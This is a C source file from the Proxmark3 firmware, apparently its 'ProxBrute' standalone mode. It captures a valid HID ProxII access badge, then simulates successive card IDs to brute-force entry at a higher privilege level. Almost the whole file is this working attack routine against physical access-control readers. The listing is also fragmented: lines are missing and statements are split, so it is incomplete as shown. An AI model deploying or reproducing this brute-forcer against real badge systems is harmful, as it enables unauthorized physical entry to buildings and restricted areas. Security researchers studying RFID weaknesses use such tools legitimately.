1 //-----------------------------------------------------------------------------
2 // Samy Kamkar, 2011, 2012
3 // Brad antoniewicz 2011
4 // Christian Herrmann, 2017
6 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
7 // at your option, any later version. See the LICENSE.txt file for the text of
9 //-----------------------------------------------------------------------------
10 // main code for LF aka Proxbrute by Brad antoniewicz
11 //-----------------------------------------------------------------------------
12 #include "standalone.h" // standalone definitions
13 #include "proxmark3_arm.h"
15 #include "fpgaloader.h"
22 DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)");
25 // samy's sniff and repeat routine for LF
28 Dbprintf(">> LF HID proxII bruteforce a.k.a ProxBrute Started (Brad Antoniewicz) <<");
29 FpgaDownloadAndGo(FPGA_BITSTREAM_LF
);
36 uint8_t state
= STATE_READ
;
42 // exit from SamyRun, send a usbcommand.
43 if (data_available()) break;
45 // Was our button held down or pressed?
46 int button_pressed
= BUTTON_HELD(280);
47 if (button_pressed
!= BUTTON_HOLD
)
50 // Button was held for a second, begin recording
51 if (state
== STATE_READ
) {
55 WAIT_BUTTON_RELEASED();
57 DbpString("[=] starting recording");
60 lf_hid_watch(1, &high
, &low
);
62 Dbprintf("[=] recorded | %x%08x", high
, low
);
64 // got nothing. blink and loop.
65 if (high
== 0 && low
== 0) {
66 SpinErr(LED_A
, 100, 12);
67 DbpString("[=] only got zeros, retry recording after click");
71 SpinErr(LED_A
, 250, 2);
75 } else if (state
== STATE_BRUTE
) {
77 LED_C_ON(); // Simulate
78 WAIT_BUTTON_RELEASED();
82 ProxBrute - brad a. - foundstone
84 Following code is a trivial brute forcer once you read a valid tag
85 the idea is you get a valid tag, then just try and brute force to
86 another priv level. The problem is that it has no idea if the code
87 worked or not, so its a crap shoot. One option is to time how long
88 it takes to get a valid ID then start from scratch every time.
90 DbpString("[=] entering ProxBrute mode");
91 Dbprintf("[=] simulating | %08x%08x", high
, low
);
93 for (uint16_t i
= low
- 1; i
> 0; i
--) {
95 if (data_available()) break;
97 // Was our button held down or pressed?
98 button_pressed
= BUTTON_HELD(280);
99 if (button_pressed
!= BUTTON_HOLD
) break;
101 Dbprintf("[=] trying Facility = %08x ID %08x", high
, i
);
103 // high, i, ledcontrol, timelimit 20000
104 CmdHIDsimTAGEx(0, high
, i
, 0, false, 20000);
110 SpinErr((LED_A
| LED_C
), 250, 2);
115 SpinErr((LED_A
| LED_B
| LED_C
| LED_D
), 250, 5);
116 DbpString("[=] You can take the shell back :) ...");